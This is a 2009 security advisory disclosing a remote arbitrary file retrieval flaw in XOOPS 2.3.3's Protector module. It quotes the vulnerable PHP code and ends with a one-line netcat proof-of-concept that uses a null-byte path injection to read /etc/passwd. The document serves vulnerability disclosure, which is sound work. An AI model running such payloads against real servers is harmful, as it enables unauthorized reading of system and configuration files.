XOOPS <= 2.3.3 Remote Arbitrary File Retrieval
========================================================================
Affected Software : XOOPS <= 2.3.3
Author : Luca "daath" De Fulgentis - daath[at]nibblesec[dot]org
Advisory number : NS-2009-01
Advisory URL : http://blog.nibblesec.org/advisories/NS-2009-01.txt
Severity : Low/Medium
Local/Remote : Remote
[Summary]
XOOPS is a web application platform written in PHP for the MySQL database.
Its object orientation makes it an ideal tool for developing small or large
community websites, intra company and corporate portals, weblogs and much
more. (Reference : http://www.xoops.org).
Nibble Security discovered a remote arbitrary file retrieval in XOOPS version
2.3.3, which could be exploited to read system or XOOPS configuration files
("mainfile.php").
[Vulnerability Details]
A vulnerable read_file() function can be found in "module_icon.php" under
/xoops_lib/modules/protector/. Here an image icon is read and its full
pathname is constructed using a user-controllable variable called
"$mydirpath" :
=============================================================================
[...]
if( file_exists( $mydirpath.'/module_icon.png' ) ) {
$use_custom_icon = true ;
$icon_fullpath = $mydirpath.'/module_icon.png' ;
} else {
$use_custom_icon = false ;
$icon_fullpath = dirname(__FILE__).'/module_icon.png' ;
}
[...]
} else {
readfile( $icon_fullpath ) ;
}
?>
=============================================================================
If register_globals is enabled and magic_quotes_gpc disabled, it's possible
to control the "$mydirpath" variable content and inject an arbitrary filename
(followed by a NULL byte (%00) to make file_exists() function ignore the
following "/module_icon.png"), resulting in file content inclusion in
application response.
[Proof of Concept Exploit]
Some browsers (e.g. Mozilla Firefox) may refuse broken images (such as the
one generated by the vulnerable script). Bacause of this netcat/telnet can be
easily used to exploit this vulnerability :
daath@shaytan:~$ echo -e "GET /xoops_lib/modules/protector/module_icon.php?
mydirpath=/etc/passwd%00 HTTP/1.0\n\n" | nc 127.0.0.1 80
HTTP/1.1 200 OK
